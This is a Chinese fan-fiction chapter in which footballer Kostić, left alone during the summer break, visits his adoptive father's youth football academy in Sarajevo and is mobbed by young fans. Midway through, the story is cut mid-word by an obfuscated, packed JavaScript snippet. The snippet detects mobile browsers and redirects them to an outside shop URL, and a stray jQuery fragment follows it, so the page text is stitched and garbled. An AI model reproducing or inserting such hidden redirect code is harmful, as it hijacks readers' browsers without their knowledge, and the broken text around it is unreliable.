对于大多数没有闯入欧冠决赛的球队而言,夏休期已经悄然来到。不过今年是大赛年,足球强国们得应对之后洲际杯赛,可足球弱国却是实实在在的休假。
这两种情况在德布劳内和科斯蒂奇身上就很能体现到位,德布劳内要赶回比利时国内参加欧洲杯集训,而科斯蒂奇就真正成为了留守儿童,面对着突然空旷下来的生活和不知如何打发的漫长时光。
他先是去机场送别了德布劳内,然后又将两人的居所里里外外打扫了一遍,最后才开始坐在平日里德布劳内爱坐的那个阳台摇椅上发呆。
他当然也不是全无爱好,只是平日里高压惯了,真当闲下来的时候,整个人就显得无事可做。他拾起了平日里德布劳内爱看的书籍,打算净化一下自己格外繁杂的内心世界。
可是素来不对文字感冒的人,怎么会因为一时兴起就读进去书了呢?很快,他就被楼下的异响吸引去了注意力。
今日阳光明媚,他们的居所是别墅群,绿植环绕,环境清幽。小区内有不少小孩,赶上难得一见的好天气就容易在楼下扎堆。
这种不是欧洲特产teenager,而是比他们可爱上百倍的学龄前儿童,拿着各式各样的玩具,像什么平衡车、小汽车、大风车、玩偶等等,在小区内那块最大的草皮上玩闹着。
科斯蒂奇就那样站在二楼的窗前看着,他也不觉得无趣,反而看入了神。小孩子们总是这样生机勃勃,活泼可爱,没有成年人的压力,也没有青少年的叛逆。他们只用享受这个世界对于他们最大的善意,哪怕这很有可能只出现在童年时段。
正想着,放在裤兜的手机却突然发出了震动,他掏出来一看,才发现那竟然是养父的来电。
“喂,米洛。”战争的摧残让这个才步入中年的男人,声音里也带上了些沧桑,“航班定好了吗?要安排人来帮你接机吗?”
这是前几天商量好的,他放假就回波黑,去看看养父青训营里的那些青训小孩。养父短信里提了好几次“孩子们想见你”,可他知道,这其实是养父自己的愿望,孩子们只是托词罢了。
“嗯。”他拒绝道,“不用。”
电话那头也没有过多推辞,只道:“好,那你注意安全,之前的比赛我们是坐在电视机前一起看的,这群小子对你的喜爱可又上了一个台阶呢。”
“我......”他还在看着楼下那些肆意玩闹的小孩,那样明媚的笑脸,那样纯真的笑容,“帮我转告他们训练加油。”
“你亲自给他们说呀,反正你不是快回来了吗?”养父的声音有些玩味。
科斯蒂奇重新关上窗,边往自己房间走去,边说道:“好,那我先去收拾行李了。”
“你......”养父很显然还想继续将天聊下去,想去关心一下这个远在异国他乡的养子最近过得如何,可他们的性格太相似了,话头止住之后,谁也找不到再开口的机会,“好吧,再见。”
“再见。”
......
科斯蒂奇养父名叫埃米尔·科斯蒂奇,所支持的青训建设并不是一个单一的地点,而是一个全国性质的连锁机构,或者可以说是一个青训网络。目前在全国有三个基地,萨拉热窝是最大的那个。
早年,在战争没有爆发之前,在南斯拉夫还存在的时候,他也从事过相关足球行业,甚至还接受到过国家队的征召。可他正好赶上了南联盟解散的那一届欧洲杯,正好因为战争原因被禁赛,无缘那届比赛。而后四年内战,国家满目疮痍之余,他也过了为国征战的黄金年龄。
不过,好在他发现了那个在战火之中出生,又因此变成孤儿的科斯蒂奇,命运的馈赠也许就在那时候到来。他找到了活下去的意义,也为科斯蒂奇找到了一份依靠。将婴儿从废墟之中抱起时,他从未去想过这个孩子有什么足球天赋,也从未想过有朝一日,这个孩子可以为自己完成那份已经燃尽了的梦想。
可当科斯蒂奇第一次接触足球,就展现出非凡天赋的时候,他得承认,他是心动的。于是,在萨拉热窝被围城,就连物资也匮乏至极,每天都在经历屠杀,轰炸,血洗之时。
同样的,在这座城市的某一个角落,一个昏暗的地下,还有一大一小两个身影正被足球治愈。埃米尔将自己知道的一切都教给这个孩子:如何控球,如何传球,如何用足球暂时忘记外面的世界正在崩塌。
科斯蒂奇前来探望的时候,他正在指导着一个小后卫的站位,见着儿子到来,也还是先结束完了自己手头上的工作,才转过去说话:“来了?”
“父亲。”科斯蒂奇身上还是穿着常见的训练服,完全没有任何光鲜亮丽的大球星架子,仿佛只是个青训工作人员一般。
可在场接受过他资助,并且真正看过他比赛的小球员们怎么会不认识他,顿时,训练也不练了,球也不管了,一个劲儿地围拢过来,嘴里喊着:“米洛哥哥!”“科斯蒂奇哥哥!”“哥哥!”他们脸上的表情是纯粹的崇拜和喜悦,眼睛亮得像是星星一般。
场面混乱极了,工作人员几番劝阻也没有起到任何作用,还火上浇油,让气氛更热闹了几分。
还是埃米尔的声音才震慑住了这些沉浸在和偶像见面世界里的小孩子。
“米洛要在这里待几天呢!谁不完成今天的训练就往这边跑,谁就不能拿到米洛的签名,也不能和他讲话!”
这话一喊出,刚刚还像小鸡争抢食物一般聚集的小球员们立马就散了,回到原位上后还有些意兴阑珊地回头看看那个站在场边的青年。
“孩子是这样的。”埃米尔面带笑意地摇摇头,这才将话题重新放在了科斯蒂奇身上,“晚上吃什么?”
科斯蒂奇浑身不适,简短答道:“都行。”
“好吧,反正每次问你都这样。”埃米尔笑意未减,“现在离下班还有很长时间呢,路上累了吗?”
曼彻斯特直飞波黑的航线很少,往往需要去土耳其或者德国转机,这一通折腾下来,对于精力不充沛的人来讲,确实很容易疲惫。
但足球运动员的体力向来过于充沛,科斯蒂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014280|193096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奇坚定摇头:“没,我陪您工作一会儿吧。”
这里设备上不齐全,草皮还是假草,球网还有些破洞,就连一部分训练背心都褪了色。但人员配置上却一点也不少,各项专职教练、体能师、营养师,甚至连心理咨询师都有。
这也让作为主管的埃米尔身上的担子没有那么重,甚至还有机会和科斯蒂奇闲聊两句小球员们的表现。
只是大多时候是埃米尔在讲,科斯蒂奇在听。这也是他们多年的相处模式:一个说,一个听;一个教,一个学。
“你看那个七号,他的灵气简直要溢出来了,还是那种未经雕琢的灵气,这个球感......让我想起小时的你。”
“你瞧见后场那个不说话的后卫没?他的防守没有技巧,全靠预判。在他这个年龄段的小孩真的很少见.....”
“诶,这孩子真是经不住夸,这么低级的失误.......”
科斯蒂奇也没有觉得烦,反而在一直点头,视线也跟着养父的话语来回转。
青训确实重要,就像拉玛西亚源源不断为巴萨和西班牙输送人才一样,这才是一支本土俱乐部或者国家队安身立命的根本。
训练一直持续到下午四点,日薄西山之时。孩子们还太小,得为他们的未来考虑,不能过度训练。
科斯蒂奇又被围住了,这次情况比之前更甚。他将求助的目光投向自家老爹,可埃米尔却双手一摊,表示自己爱莫能助。
“签名!米洛哥哥!可以给我签名吗?”
“我想要合影!”
“我可以拥有一件你的球衣吗?”
“那我想要手套!”
科斯蒂奇站在小孩中央,像是一座被海浪包围的孤岛。他张了张嘴,好半天也只憋出来一个:“别急,大家注意安全。”的叮嘱。
还是看不下去的工作人员赶过来疏导才堪堪稳定住了局面,在他们的疏导下,整个青训营的小孩乖乖地排起长队,认认真真地和自己的偶像完成了一次见面。
活动一直持续到了夜幕降临才结束。孩子们被家长接走之时,每个人都抱着签名,脸上的笑容闪耀极了。
这时候青训食堂的晚饭已经准备好了,菜色简单,但营养均衡,科斯蒂奇和埃米尔面对面坐着,周围是其他工作人员,气氛轻松至极。
他正在认真地切着鸡胸肉,突然听到了埃米尔的一句灵魂拷问。
“米洛,其实你也很想和这些孩子接触吧?”
他手上的动作当即停了下来,刀叉在餐盘上发出轻微的碰撞声。他抬起头,目光开始躲闪,最后落在了面前的土豆上。
是,如果他不愿意,就不会选择在夏休一开始就回来,就不会在埃米尔问他累不累的时候拒绝,就不会坐在那里当了好几个小时的工具人。他可以找无数个理由留在曼彻斯特,或者找个海滨度假,但他选择了这里。
好一会儿才有一句闷在餐碟里的声音传来:“他们很可爱。”
埃米尔一笑,自己养的儿子,自己当然最清楚了。